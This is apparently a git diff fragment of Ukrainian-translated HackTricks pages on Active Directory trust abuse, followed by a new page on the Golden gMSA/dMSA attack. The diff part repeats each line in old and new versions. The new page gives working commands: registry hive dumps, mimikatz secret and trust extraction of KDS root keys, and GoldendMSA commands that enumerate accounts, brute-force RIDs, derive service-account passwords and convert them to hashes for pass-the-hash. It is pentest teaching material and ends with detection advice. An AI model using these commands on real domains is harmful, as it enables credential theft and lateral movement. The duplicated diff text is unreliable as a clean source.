Однак, коли **домен довіряє** довіреному домену, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **пароль довіреного пароля**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного**, щоб перерахувати його та спробувати підвищити більше привілеїв:
Однак, коли **домен довіряє** довіреному домену, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **пароль довіреного пароля**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного** для його перерахунку та спроби підвищити більше привілеїв:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
Ще один спосіб скомпрометувати довірений домен - це знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений у **протилежному напрямку** довірчих доменів (що не є дуже поширеним).
Ще один спосіб скомпрометувати довірений домен - це знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений у **протилежному напрямку** довіреності домену (що не є дуже поширеним).
Ще один спосіб скомпрометувати довірений домен - це чекати на машині, до якої **користувач з довіреного домену може отримати доступ**, щоб увійти через **RDP**. Тоді зловмисник може впровадити код у процес сесії RDP і **отримати доступ до початкового домену жертви** звідти.\
Більше того, якщо **жертва підключила свій жорсткий диск**, з процесу **сесії RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.**
Ще один спосіб скомпрометувати довірений домен - це чекати на машині, до якої **користувач з довіреного домену може отримати доступ** для входу через **RDP**. Тоді зловмисник може впровадити код у процес сесії RDP і **отримати доступ до вихідного домену жертви** звідти.\
Більше того, якщо **жертва змонтувала свій жорсткий диск**, з процесу **сесії RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.**
{{#ref}}
rdp-sessions-abuse.md
@ -688,7 +694,7 @@ rdp-sessions-abuse.md
### **Фільтрація SID:**
- Ризик атак, що використовують атрибут історії SID через довіри лісу, зменшується завдяки фільтрації SID, яка активована за замовчуванням на всіх міжлісових довірах. Це підкріплюється припущенням, що внутрішні довіри лісу є безпечними, вважаючи ліс, а не домен, як межу безпеки відповідно до позиції Microsoft.
- Ризик атак, що використовують атрибут історії SID через лісові довіри, зменшується завдяки фільтрації SID, яка активована за замовчуванням на всіх міжлісових довірах. Це підкріплюється припущенням, що внутрішні довіри лісу є безпечними, вважаючи ліс, а не домен, як межу безпеки відповідно до позиції Microsoft.
- Однак є підводний камінь: фільтрація SID може порушити роботу додатків і доступ користувачів, що призводить до її періодичного деактивування.
### **Вибіркова аутентифікація:**
@ -722,7 +728,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
### **Виявлення обману**
- **Для об'єктів користувачів**: Підозрілі ознаки включають нетиповий ObjectSID, рідкісні входи, дати створення та низькі кількості неправильних паролів.
- **Для об'єктів користувачів**: Підозрілі ознаки включають нетиповий ObjectSID, рідкісні входи, дати створення та низькі кількості невірних паролів.
- **Загальні ознаки**: Порівняння атрибутів потенційних приманкових об'єктів з атрибутами справжніх може виявити невідповідності. Інструменти, такі як [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster), можуть допомогти в ідентифікації таких обманів.
### **Обхід систем виявлення**

View File

@ -0,0 +1,111 @@
# Golden gMSA/dMSA Attack (Офлайн похідна паролів керованих облікових записів сервісів)
{{#include ../../banners/hacktricks-training.md}}
## Огляд
Керовані облікові записи сервісів Windows (MSA) це спеціальні принципи, призначені для запуску сервісів без необхідності вручну керувати їх паролями. Існує два основних варіанти:
1. **gMSA** груповий керований обліковий запис сервісу може використовуватися на кількох хостах, які авторизовані в його атрибуті `msDS-GroupMSAMembership`.
2. **dMSA** делегований керований обліковий запис сервісу (попередній перегляд) наступник gMSA, що спирається на ту ж криптографію, але дозволяє більш детальні сценарії делегування.
Для обох варіантів **пароль не зберігається** на кожному контролері домену (DC) як звичайний NT-хеш. Натомість кожен DC може **вивести** поточний пароль на льоту з:
* Лісового **KDS Root Key** (`KRBTGT\KDS`) випадковим чином згенерованим секретом з GUID-іменем, реплікованим на кожен DC під контейнером `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …`.
* Цільового облікового запису **SID**.
* Переконаним **ManagedPasswordID** (GUID), знайденим в атрибуті `msDS-ManagedPasswordId`.
Виведення виглядає так: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 байт блоб, який врешті-решт **base64-кодується** і зберігається в атрибуті `msDS-ManagedPassword`. Ніякий трафік Kerberos або взаємодія з доменом не потрібні під час звичайного використання пароля член хоста виводить пароль локально, якщо знає три вхідні дані.
## Golden gMSA / Golden dMSA Attack
Якщо зловмисник може отримати всі три вхідні дані **офлайн**, він може обчислити **дійсні поточні та майбутні паролі** для **будь-якого gMSA/dMSA в лісі** без повторного звернення до DC, обходячи:
* Логи попередньої аутентифікації Kerberos / запитів квитків
* Аудит читання LDAP
* Інтервали зміни паролів (вони можуть попередньо обчислити)
Це аналогічно *Золотому квитку* для облікових записів сервісів.
### Передумови
1. **Компрометація на рівні лісу** **одного DC** (або Enterprise Admin). Доступ `SYSTEM` достатній.
2. Можливість перерахувати облікові записи сервісів (читання LDAP / брутфорс RID).
3. Робоча станція .NET ≥ 4.7.2 x64 для запуску [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) або еквівалентного коду.
### Фаза 1 Витяг KDS Root Key
Витяг з будь-якого DC (Тіньове копіювання томів / сирі хаби SAM+SECURITY або віддалені секрети):
```cmd
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too
```
Базовий рядок base64 з міткою `RootKey` (ім'я GUID) потрібен на наступних етапах.
### Фаза 2 Перерахування об'єктів gMSA/dMSA
Отримайте принаймні `sAMAccountName`, `objectSid` та `msDS-ManagedPasswordId`:
```powershell
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
```
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) реалізує допоміжні режими:
```powershell
# LDAP enumeration (kerberos / simple bind)
GoldendMSA.exe info -d example.local -m ldap
# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
```
### Фаза 3 Вгадати / Виявити ManagedPasswordID (коли відсутній)
Деякі розгортання *видаляють* `msDS-ManagedPasswordId` з ACL-захищених читань.
Оскільки GUID є 128-бітним, наївний брутфорс є недоцільним, але:
1. Перші **32 біти = Unix epoch time** створення облікового запису (з роздільною здатністю в хвилинах).
2. За ними слідують 96 випадкових бітів.
Отже, **вузький список слів для кожного облікового запису** (± кілька годин) є реалістичним.
```powershell
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
```
Інструмент обчислює кандидатні паролі та порівнює їх base64 blob з реальним атрибутом `msDS-ManagedPassword` збіг вказує на правильний GUID.
### Фаза 4 Офлайн обчислення пароля та конвертація
Як тільки ManagedPasswordID відомий, дійсний пароль знаходиться в одному командному рядку:
```powershell
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
```
Отримані хеші можуть бути інжектовані за допомогою **mimikatz** (`sekurlsa::pth`) або **Rubeus** для зловживання Kerberos, що дозволяє здійснювати прихований **бічний рух** та **постійність**.
## Виявлення та пом'якшення
* Обмежте можливості **резервного копіювання DC та читання реєстру** для адміністраторів Tier-0.
* Моніторте створення **Режиму відновлення служб каталогів (DSRM)** або **Копії тіньового тому** на DC.
* Аудитуйте читання / зміни до `CN=Master Root Keys,…` та прапорців `userAccountControl` облікових записів служб.
* Виявляйте незвичайні **записи паролів base64** або раптове повторне використання паролів служб на різних хостах.
* Розгляньте можливість перетворення облікових записів gMSA з високими привілеями на **класичні облікові записи служб** з регулярними випадковими ротаціями, де ізоляція Tier-0 неможлива.
## Інструменти
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) реалізація посилання, використана на цій сторінці.
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
* [`Rubeus`](https://github.com/GhostPack/Rubeus) pass-the-ticket з використанням похідних AES ключів.
## Посилання
- [Golden dMSA обхід аутентифікації для делегованих облікових записів керованих служб](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
- [Репозиторій Semperis/GoldenDMSA на GitHub](https://github.com/Semperis/GoldenDMSA)
- [Improsec атака на довіру Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
{{#include ../../banners/hacktricks-training.md}}